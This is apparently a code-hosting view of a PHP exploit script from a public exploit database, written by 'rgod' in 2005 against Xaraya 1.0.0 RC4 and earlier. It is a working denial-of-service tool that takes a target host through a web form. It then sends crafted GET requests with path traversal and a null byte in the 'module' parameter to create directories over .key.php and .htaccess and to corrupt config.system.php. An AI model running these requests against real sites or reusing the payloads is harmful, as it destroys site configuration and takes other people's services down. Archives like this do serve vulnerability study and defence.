PageRenderTime 58ms CodeModel.GetById 41ms app.highlight 12ms RepoModel.GetById 1ms app.codeStats 0ms

/platforms/php/webapps/1345.php

https://github.com/Bronx205/exploit-database
PHP | 211 lines | 184 code | 15 blank | 12 comment | 26 complexity | 9a588e9b0d79eafdf0199056e2bba1ab MD5 | raw file
  1<?php
  2#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
  3#                                                                              #
  4#                         Xaraya <=1.0.0 RC4 D.O.S                             #
  5#                              coded by rgod                                   #
  6#                    site: http://rgod.altervista.org                          #
  7#                                                                              #
  8#  usage: launch from Apache, fill in requested fields, then go!               #
  9#                                                                              #
 10#  Sun-Tzu: "Hold out baits to entice the enemy. Feign disorder,               #
 11#  and crush him."                                                             #
 12
 13error_reporting(0);
 14ini_set("max_execution_time",0);
 15ini_set("default_socket_timeout", 2);
 16ob_implicit_flush (1);
 17
 18echo'<html><head><title> ******** Xaraya <=1.0.0 rc4 Denial of Service *********
 19</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
 20<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
 21#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
 22{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
 23!important} option {  background-color:   #303030   !important}         textarea
 24{background-color: #303030 !important} input {color: #1CB081 !important}  option
 25{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
 26{background-color: #303030 !important} select {font-weight: normal;       color:
 27#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
 28background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
 290.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
 30!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
 31!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
 32!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
 33normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
 34{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
 35color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
 36font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
 37font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
 38********** Xaraya <=1.0.0 rc4 Denial of Service ******** </p><p class="Stile6">a
 39script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
 40http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
 41name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
 42type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
 43</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
 44/xaraya/  or just / ) </span></p></p><p> <input type="text" name="port">   <span
 45class="Stile5">specify  a  port   other than  80 ( default  value ) </span> </p>
 46<p>  <input  type="text"   name="proxy"><span class="Stile5">  send  exploit
 47through an  HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
 48value="go!"></p></form> </td></tr></table></body></html>';
 49
 50
 51function show($headeri)
 52{
 53$ii=0;
 54$ji=0;
 55$ki=0;
 56$ci=0;
 57echo '<table border="0"><tr>';
 58while ($ii <= strlen($headeri)-1)
 59{
 60$datai=dechex(ord($headeri[$ii]));
 61if ($ji==16) {
 62             $ji=0;
 63             $ci++;
 64             echo "<td>&nbsp;&nbsp;</td>";
 65             for ($li=0; $li<=15; $li++)
 66                      { echo "<td>".$headeri[$li+$ki]."</td>";
 67			    }
 68            $ki=$ki+16;
 69            echo "</tr><tr>";
 70            }
 71if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
 72{echo "<td>".$datai."</td> ";}
 73$ii++;
 74$ji++;
 75}
 76for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
 77                      { echo "<td>&nbsp&nbsp</td>";
 78                       }
 79
 80for ($li=$ci*16; $li<=strlen($headeri); $li++)
 81                      { echo "<td>".$headeri[$li]."</td>";
 82			    }
 83echo "</tr></table>";
 84}
 85$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
 86
 87function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
 88		              //next function to send packets
 89{
 90  global $proxy, $host, $port, $packet, $html, $proxy_regex;
 91  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 92  if ($socket < 0) {
 93                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
 94                   }
 95	      else
 96 		  {   $c = preg_match($proxy_regex,$proxy);
 97              if (!$c) {echo 'Not a valid prozy...';
 98                        die;
 99                       }
100                    echo "OK.<br>";
101                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
102                    if ($proxy=='')
103		   {
104		     $result = socket_connect($socket, $host, $port);
105		   }
106		   else
107		   {
108
109		   $parts =explode(':',$proxy);
110                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
111		   $result = socket_connect($socket, $parts[0],$parts[1]);
112		   }
113		   if ($result < 0) {
114                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
115                                    }
116	                       else
117		                    {
118                                     echo "OK.<br><br>";
119                                     $html= '';
120                                     socket_write($socket, $packet, strlen($packet));
121                                     echo "Reading response:<br>";
122                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
123                                     echo nl2br(htmlentities($html));
124                                     echo "Closing socket...";
125                                     socket_close($socket);
126
127				    }
128                  }
129}
130function sendpacketii($packet)
131{
132global $proxy, $host, $port, $html, $proxy_regex;
133if ($proxy=='')
134      {$ock=fsockopen(gethostbyname($host),$port);
135       if (!$ock) { echo 'No response from '.htmlentities($host);
136			die; }
137      }
138             else
139           {
140	   $c = preg_match($proxy_regex,$proxy);
141              if (!$c) {echo 'Not a valid prozy...';
142                        die;
143                       }
144	   $parts=explode(':',$proxy);
145	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
146	    $ock=fsockopen($parts[0],$parts[1]);
147	    if (!$ock) { echo 'No response from proxy...';
148			die;
149		       }
150	   }
151fputs($ock,$packet);
152if ($proxy=='')
153  {
154
155    $html='';
156    while (!feof($ock))
157      {
158        $html.=fgets($ock);
159      }
160  }
161else
162  {
163    $html='';
164    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
165    {
166      $html.=fread($ock,1);
167    }
168  }
169fclose($ock);
170echo nl2br(htmlentities($html));
171}
172
173$host=$_POST[host];$path=$_POST[path];
174$port=$_POST[port];$proxy=$_POST[proxy];
175
176if (($host<>'') and ($path<>''))
177{
178  $port=intval(trim($port));
179  if ($port=='') {$port=80;}
180  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
181  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
182  $host=str_replace("\r\n","",$host);
183  $path=str_replace("\r\n","",$path);
184
185  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
187  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage
188
189  $request[0]="index.php?module=".$KEYFILE;
190  $request[1]="index.php?module=".$HTACCESS;
191  $request[2]="index.php?module=".$CONFIGFILE;
192  $request[3]="index.php";
193
194  for($i=0; $i<=count($request)-1; $i++)
195  {
196    $packet="GET ".$p.$request[$i]." HTTP/1.1\r\n";
197    $packet.="Host: ".$host."\r\n";
198    $packet.="User-Agent: Zoo Tycoon 2 Client\r\n";
199    $packet.="Accept-Encoding: text/plain\r\n";
200    $packet.="Connection: Close\r\n\r\n";
201    show($packet);
202    sendpacketii($packet);
203  }
204  if (eregi('fatal error',$html)) {echo "Exploit succeeded...";}
205                                      else   {echo "Exploit failed...";}
206  }
207else
208  {echo "Fill * required fields, optionally specify a proxy";}
209?>
210
211# milw0rm.com [2005-11-29]